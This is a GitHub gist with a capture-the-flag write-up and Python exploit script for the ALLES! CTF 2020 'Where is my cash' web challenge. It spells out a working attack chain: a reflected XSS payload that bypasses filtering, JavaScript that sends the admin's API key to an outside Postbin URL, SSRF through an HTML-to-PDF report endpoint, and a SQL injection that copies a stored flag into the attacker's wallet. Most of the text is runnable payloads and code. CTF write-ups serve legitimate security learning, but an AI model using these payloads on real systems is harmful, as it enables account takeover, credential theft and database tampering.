Skip to content

Instantly share code, notes, and snippets.

@jakecraige
Last active May 25, 2021 06:34
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jakecraige/0e27b80d2dc6caadf887a76b9e55948c to your computer and use it in GitHub Desktop.
Save jakecraige/0e27b80d2dc6caadf887a76b9e55948c to your computer and use it in GitHub Desktop.
Where is my cash (partial writeup) from ALLES! CTF 2020

Where is my cash Writeup (medium, 2 solves)

The official writeup is shared here, the trick for getting the admin key was to force the browser to use the... cache. I've updated this writeup to include this part of the exploit because mine varies in how I do the XSS and exfill the actual flag.

The Exploit Chain

This is how the exploit chain works, sadly I wasn't able to get the api_key during the CTF but have updated this writeup to include it after the official writeup was shared, and confirmed my other steps work.

  1. XSS the Admin to steal its api_key
  2. Send malicicous PDF using SSRF from the JavaScript to /1.0/admin/createReport. This is necessary because the caller of the next API must be from 127.0.0.1.
  3. The JavaScript makes a request to /internal/createTestWallet which is SQLi vulnerable.
  4. The SQLi creates a wallet for our account and pulls the flag from another wallet.
  5. View the flag on the /wallets page when logged in.

Cross-Site Scripting (XSS)

The application places the query param api_key in the DOM like so:

    <script>
        const API_TOKEN = "{{{ token }}}";
    </script>

The backend applies some small filters to it, which we can work around.

    return req.query.api_key.replace(/;|\n|\r/g, "");

The simplest approach is to have a payload like api_key="</script><script>PAYLOAD HERE and this works locally, but fails when triggering it against the remote server. By running the server locally I was able to confirm the Chromium's XSS Auditor is blocking this, so I needed another way.

Our payload looks like this instead api_key="%2BEXPLOIT//. We intentionally include the URI encoded version of + there, and we'll need to URI encode the whole param once more before using it. This was another gotcha with making the admin visit. Because it gets decoded when we submit it to the server, it then passes it in as a string with a + to visit, and the plus is treated as a space and doesn't show up in the rendered output, thus we get a syntax error and it fails. When all is as expected, we get it to render like so.

    <script>
        const API_TOKEN = ""+EXPLOIT_HERE//";
    </script>

This is somewhat restrictive because you can't do = in the exploit easily and cannot use ;, but we can also work around this by wrapping each line of our exploit in a function, iterate over it, and call each function. This can be seen in the exploit script itself, but it ends up basically looking like this, and we can share state between calls using the global window.

const API_TOKEN = ""+[() => { window.x = 1 }, () => { console.log(x+1) }].forEach(f => f())//";

A POC of the basic form of this can be seen locally with this URL, but note that we don't do the double encoding of + because we want it to trigger in our browser so we can iterate on it.

https://wimc.ctf.allesctf.net/?api_key=%22%2Balert%28%22hi%22%29%2F%2F

Making the Admin Visit

We submit the support form on https://wimc.ctf.allesctf.net/support with the XSS'd URL. You can test this like so:

  1. Create a Postbin to log requests
  2. Modify this URL to include your Postbin IDs https://wimc.ctf.allesctf.net/?api_key=%22%252Bwindow.location.replace%28%22https%3A%2F%2Fpostb.in%2F1599338333507-1126356946770%22%29%2F%2F
  3. Submit the form on https://wimc.ctf.allesctf.net/support
  4. Refresh the Postbin to see the request.

Getting the API Key

From the official writeup, the intended solution was to force the browser to load the admin user from the cache, which allows us to get their API key. In my exploit code this looks like so:

window.requestbin = "https://postb.in/1599419937004-0317174713127?data="
fetch("https://api.wimc.ctf.allesctf.net/1.0/user", {method:"GET", cache:"force-cache"}).then(a => a.json()).then(b => location.href=requestbin%2BJSON.stringify(b))

Another user on IRC, Webuser4344, shared an alternate way they were able to get the flag. In my exploration I was somewhat close to this and attempting to use iframes to do something similar, but didn't get it all the way there. Here's how it worked:

  1. The first XSS payload opens a new window
  2. In the second window, call window.opener.history.back() to navigate back to the page with api_key in the url
  3. Read the URL window.opener.location.href and exfil it.

Server-Side Request Forgery (SSRF)

Once we have the api_key, we can authenticate as the admin and call the /1.0/admin/createReport endpoint which allows us to upload arbitrary HTML which it will render as a PDF and then return to us. We can include a <script> in our HTML and use that to trigger the SSRF. The HTML we submit looks like so:

<script>
var data = "balance=1, 'TESTING WALLET 1234'), ('1', (select user_id from general where username='tpurp' limit 1), 1, (select note from wallets w where owner_id='13371337-1337-1337-1337-133713371337' limit 1)); #"

var http = new XMLHttpRequest();
http.open('POST', 'http://127.0.0.1:1337/internal/createTestWallet', true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.send(data);
</script>

The SQLi

The implementation of the /internal/createTestWallet endpoint interpolates in the balance parameter directly into the query like so:

var balance = req.body["balance"] || 1337;
var ip = req.connection.remoteAddress;

if (ip === "127.0.0.1") {
    // create testing wallet without owner
    var wallet_id = crypto.randomBytes(20).toString('hex').substring(0,20);
    connection.query(`INSERT INTO wallets VALUES ('${wallet_id}', NULL, ${balance}, 'TESTING WALLET 1234');`, (err, data) => {

The flag itself is stoed as the note for a wallet owner by a different user, so we can have the SQLi create a new wallet for our account, and set the note to the flag from the other wallet. The appliction never exposes our user_id to us, so we also use a subquery to select our account. This way we can see it on our wallets page after the injection runs.

The query itself looks like this, with newlines added for clarity. One issue that came up with MySQL is that it doesn't like you selecting from the same table (wallets) you are inserting into, but by aliasing it to w we make this error go away.

INSERT INTO wallets VALUES 
  ('${wallet_id}', NULL, 1, 'TESTING WALLET 1234'), 
  (
    '1', 
     (select user_id from general where username='tpurp' limit 1), 
     1, 
     (select note from wallets w where owner_id='13371337-1337-1337-1337-133713371337' limit 1)
  ); 
  #, 'TESTING WALLET 1234

The Flag

Once this runs, we simply need to log into the application, view the wallets page, click on wallet #1, and the flag will be on the page!

import sys
import requests
from urllib.parse import urlencode, quote_plus
"""
USAGE:
Exploit a local server, this works because I locally removed recaptcha and modified some of
the static scripts to reference the local server.
python3 zexploit.py LOCAL
Generate the XSS'd url for the remote server. We can't auto-exploit it because of recaptcha.
python3 zexploit.py REMOTE
"""
if len(sys.argv) > 1 and sys.argv[1] == "REMOTE":
REMOTE = True
else:
REMOTE = False
if REMOTE:
BASE_URL = "https://wimc.ctf.allesctf.net/"
ADMIN_BASE_URL = "https://api.wimc.ctf.allesctf.net/1.0"
API_BASE_URL = "https://api.wimc.ctf.allesctf.net/1.0"
else:
# BASE_URL = "http://localhost:10002"
BASE_URL = "http://app:1337"
ADMIN_BASE_URL = "http://localhost:10003/1.0"
API_BASE_URL = "http://localhost:10001/1.0"
# NOTE: This supports multiline payloads, but each line is within it's own scope,
# so if you want to reuse variables they need to be defined globally. Also, you
# can't use semicolons and if you want to use a +, you need to define it as `%2B`.
xss_code = """
window.requestbin = "https://postb.in/1599419937004-0317174713127?data="
fetch("https://api.wimc.ctf.allesctf.net/1.0/user", {method:"GET", cache:"force-cache"}).then(a => a.json()).then(b => location.href=requestbin%2BJSON.stringify(b))
"""
# This payload can be used for local testing
# fetch("http://api:1337/1.0/user", {method:"GET", cache:"force-cache"}).then(a => a.json()).then(b => location.href=requestbin%2BJSON.stringify(b))
def build_xss_payload():
exploit_lines = xss_code.split("\n")[1:-1]
# We intentionally include the already encoded + to double encode it.
# Without this it gets removed before the server actually runs it and we get
# a JS syntax error there.
xss_exploit = "\"%2B["
for line in exploit_lines:
xss_exploit += "() => {" + line + "},"
xss_exploit = xss_exploit[:-1] # trim trailing comma
xss_exploit += "].forEach(f => f())//"
return xss_exploit
def add_xss_url():
xss_payload = {'api_key': build_xss_payload()}
xss_query = urlencode(xss_payload, quote_via=quote_plus)
return f"{BASE_URL}?{xss_query}"
def add_xss_url_no_encode():
xss_exploit = build_xss_payload()
return f"{BASE_URL}?api_key={xss_exploit}"
# This only works locally since recaptcha is used remotely.
def exploit():
url = add_xss_url_no_encode() # we use this one since requests auto-encodes
print(f"[+] XSS URL: {url}")
payload = {"description": "whatever", "url": url}
req_url = f"{ADMIN_BASE_URL}/support"
print(f"[+] POST to {req_url}")
res = requests.post(req_url, data=payload)
print(f"[+] {res.status_code}: {res.text}")
return res
# We use XMLHttpRequest because fetch isn't available in the context the PDF generator runs.
report_xss_html = """<script>
var data = "balance=1, 'TESTING WALLET 1234'), ('1', (select user_id from general where username='tpurp' limit 1), 1, (select note from wallets w where owner_id='13371337-1337-1337-1337-133713371337' limit 1)); #"
var http = new XMLHttpRequest();
http.open('POST', 'http://127.0.0.1:1337/internal/createTestWallet', true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.send(data);
</script>
"""
def exploit_create_report(api_token):
req_url = f"{API_BASE_URL}/admin/createReport"
print(f"[+] POST to {req_url}")
payload = {'html': report_xss_html}
headers = {'X-API-TOKEN': api_token}
res = requests.post(req_url, data=payload, headers=headers)
print(f"[+] {res.status_code}")
return res
if REMOTE:
# just print the URL since we can't automatically exploit due to recaptcha
print(add_xss_url())
# once we get api_key, update this and call
api_key = "ADMIN_API_KEY_HERE"
exploit_create_report(api_key)
else:
exploit()
@jakecraige
Copy link
Author

Recommended reading about the caching behavior: https://blog.bi.tk/chrome-cors/

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment